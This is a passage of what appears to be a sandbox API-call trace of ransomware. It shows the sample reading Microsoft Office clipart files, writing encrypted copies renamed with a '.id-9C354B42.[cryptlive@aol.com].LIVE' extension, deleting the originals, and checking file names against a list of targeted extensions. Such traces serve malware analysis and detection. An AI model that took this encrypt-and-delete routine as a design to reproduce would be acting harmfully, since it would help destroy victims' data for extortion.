Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf")) returned 0x20 [0143.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0143.735] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.735] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0143.736] GetLastError () returned 0x0 [0143.736] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x380, lpOverlapped=0x0) returned 1 [0143.780] WriteFile (in: hFile=0x1ec, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x390, lpOverlapped=0x0) returned 1 [0143.781] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.781] WriteFile (in: hFile=0x1ec, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.781] SetEndOfFile (hFile=0x1ec) returned 1 [0143.781] CloseHandle (hObject=0x1ec) returned 1 [0143.781] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.781] SetEndOfFile (hFile=0x2f8) returned 1 [0143.783] CloseHandle (hObject=0x2f8) returned 1 [0143.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.795] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf")) returned 1 [0143.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0143.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0143.812] lstrlenW (lpString=".doc") returned 4 [0143.812] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.812] lstrlenW (lpString=".docx") returned 5 [0143.812] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.812] lstrlenW (lpString=".pdf") returned 4 [0143.812] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.812] lstrlenW (lpString=".xls") returned 4 [0143.812] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.812] lstrlenW (lpString=".xlsx") returned 5 [0143.812] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.812] lstrlenW (lpString=".ppt") returned 4 [0143.812] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0143.812] lstrlenW (lpString=".zip") returned 4 [0143.812] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.812] lstrlenW (lpString=".rar") returned 4 [0143.812] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.812] lstrlenW (lpString=".bz2") returned 4 [0143.812] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.812] lstrlenW (lpString=".7z") returned 3 [0143.812] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0143.812] lstrlenW (lpString=".dbf") returned 4 [0143.812] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0143.812] lstrlenW (lpString=".1cd") returned 4 [0143.812] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0143.812] lstrlenW (lpString=".jpg") returned 4 [0143.812] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0143.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0143.812] lstrlenW (lpString=".doc") returned 4 [0143.812] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.812] lstrlenW (lpString=".docx") returned 5 [0143.812] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.813] lstrlenW (lpString=".pdf") returned 4 [0143.813] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.813] lstrlenW (lpString=".xls") returned 4 [0143.813] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.813] lstrlenW (lpString=".xlsx") returned 5 [0143.813] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.813] lstrlenW (lpString=".ppt") returned 4 [0143.813] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0143.813] lstrlenW (lpString=".zip") returned 4 [0143.813] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.813] lstrlenW (lpString=".rar") returned 4 [0143.813] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.813] lstrlenW (lpString=".bz2") returned 4 [0143.813] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.813] lstrlenW (lpString=".7z") returned 3 [0143.813] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0143.813] lstrlenW (lpString=".dbf") returned 4 [0143.813] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0143.813] lstrlenW (lpString=".1cd") returned 4 [0143.813] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0143.813] lstrlenW (lpString=".jpg") returned 4 [0143.813] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.813] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0143.813] lstrlenW (lpString="FD00965_.WMF") returned 12 [0143.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0143.816] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=15164) returned 1 [0143.816] CloseHandle (hObject=0x2f8) returned 1 [0143.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf")) returned 0x20 [0143.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0143.826] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.826] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0143.827] GetLastError () returned 0x0 [0143.827] ReadFile (in: hFile=0x384, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x3b3c, lpOverlapped=0x0) returned 1 [0143.840] WriteFile (in: hFile=0x1ec, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x3b40, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x3b40, lpOverlapped=0x0) returned 1 [0143.841] ReadFile (in: hFile=0x384, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.841] WriteFile (in: hFile=0x1ec, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.841] SetEndOfFile (hFile=0x1ec) returned 1 [0143.841] CloseHandle (hObject=0x1ec) returned 1 [0143.842] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.842] SetEndOfFile (hFile=0x384) returned 1 [0143.844] CloseHandle (hObject=0x384) returned 1 [0143.844] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.845] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf")) returned 1 [0143.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0143.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0143.845] lstrlenW (lpString=".doc") returned 4 [0143.845] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.845] lstrlenW (lpString=".docx") returned 5 [0143.845] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.845] lstrlenW (lpString=".pdf") returned 4 [0143.845] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.845] lstrlenW (lpString=".xls") returned 4 [0143.845] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.845] lstrlenW (lpString=".xlsx") returned 5 [0143.845] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.845] lstrlenW (lpString=".ppt") returned 4 [0143.845] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0143.846] lstrlenW (lpString=".zip") returned 4 [0143.846] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.846] lstrlenW (lpString=".rar") returned 4 [0143.846] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.846] lstrlenW (lpString=".bz2") returned 4 [0143.846] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.846] lstrlenW (lpString=".7z") returned 3 [0143.846] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0143.846] lstrlenW (lpString=".dbf") returned 4 [0143.846] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0143.846] lstrlenW (lpString=".1cd") returned 4 [0143.846] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0143.846] lstrlenW (lpString=".jpg") returned 4 [0143.846] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0143.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0143.846] lstrlenW (lpString=".doc") returned 4 [0143.846] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.846] lstrlenW (lpString=".docx") returned 5 [0143.846] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.846] lstrlenW (lpString=".pdf") returned 4 [0143.846] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.846] lstrlenW (lpString=".xls") returned 4 [0143.846] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.846] lstrlenW (lpString=".xlsx") returned 5 [0143.846] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.846] lstrlenW (lpString=".ppt") returned 4 [0143.846] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0143.846] lstrlenW (lpString=".zip") returned 4 [0143.846] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.847] lstrlenW (lpString=".rar") returned 4 [0143.847] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.847] lstrlenW (lpString=".bz2") returned 4 [0143.847] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.847] lstrlenW (lpString=".7z") returned 3 [0143.847] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0143.847] lstrlenW (lpString=".dbf") returned 4 [0143.847] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0143.847] lstrlenW (lpString=".1cd") returned 4 [0143.847] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0143.847] lstrlenW (lpString=".jpg") returned 4 [0143.847] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.847] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0143.847] lstrlenW (lpString="FD01084_.WMF") returned 12 [0143.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0143.848] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=2412) returned 1 [0143.848] CloseHandle (hObject=0x384) returned 1 [0143.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf")) returned 0x20 [0143.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0143.848] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.848] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0143.849] GetLastError () returned 0x0 [0143.849] ReadFile (in: hFile=0x384, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x96c, lpOverlapped=0x0) returned 1 [0143.928] WriteFile (in: hFile=0x1ec, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x970, lpOverlapped=0x0) returned 1 [0143.929] ReadFile (in: hFile=0x384, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.929] WriteFile (in: hFile=0x1ec, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.929] SetEndOfFile (hFile=0x1ec) returned 1 [0143.929] CloseHandle (hObject=0x1ec) returned 1 [0143.929] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.929] SetEndOfFile (hFile=0x384) returned 1 [0143.931] CloseHandle (hObject=0x384) returned 1 [0143.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.018] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf")) returned 1 [0144.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0144.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0144.018] lstrlenW (lpString=".doc") returned 4 [0144.018] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.018] lstrlenW (lpString=".docx") returned 5 [0144.018] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.019] lstrlenW (lpString=".pdf") returned 4 [0144.019] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.019] lstrlenW (lpString=".xls") returned 4 [0144.019] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.019] lstrlenW (lpString=".xlsx") returned 5 [0144.019] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.019] lstrlenW (lpString=".ppt") returned 4 [0144.019] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0144.019] lstrlenW (lpString=".zip") returned 4 [0144.019] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.019] lstrlenW (lpString=".rar") returned 4 [0144.019] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.019] lstrlenW (lpString=".bz2") returned 4 [0144.019] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.019] lstrlenW (lpString=".7z") returned 3 [0144.019] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0144.019] lstrlenW (lpString=".dbf") returned 4 [0144.019] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0144.019] lstrlenW (lpString=".1cd") returned 4 [0144.019] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0144.019] lstrlenW (lpString=".jpg") returned 4 [0144.019] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0144.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0144.019] lstrlenW (lpString=".doc") returned 4 [0144.019] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.019] lstrlenW (lpString=".docx") returned 5 [0144.019] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.019] lstrlenW (lpString=".pdf") returned 4 [0144.019] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.019] lstrlenW (lpString=".xls") returned 4 [0144.019] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.020] lstrlenW (lpString=".xlsx") returned 5 [0144.020] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.020] lstrlenW (lpString=".ppt") returned 4 [0144.020] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0144.020] lstrlenW (lpString=".zip") returned 4 [0144.020] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.020] lstrlenW (lpString=".rar") returned 4 [0144.020] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.020] lstrlenW (lpString=".bz2") returned 4 [0144.020] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.020] lstrlenW (lpString=".7z") returned 3 [0144.020] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0144.020] lstrlenW (lpString=".dbf") returned 4 [0144.020] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0144.020] lstrlenW (lpString=".1cd") returned 4 [0144.020] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0144.020] lstrlenW (lpString=".jpg") returned 4 [0144.020] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.020] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0144.020] lstrlenW (lpString="FD01193_.WMF") returned 12 [0144.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0144.027] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1160) returned 1 [0144.027] CloseHandle (hObject=0x388) returned 1 [0144.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf")) returned 0x20 [0144.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0xc0000000, 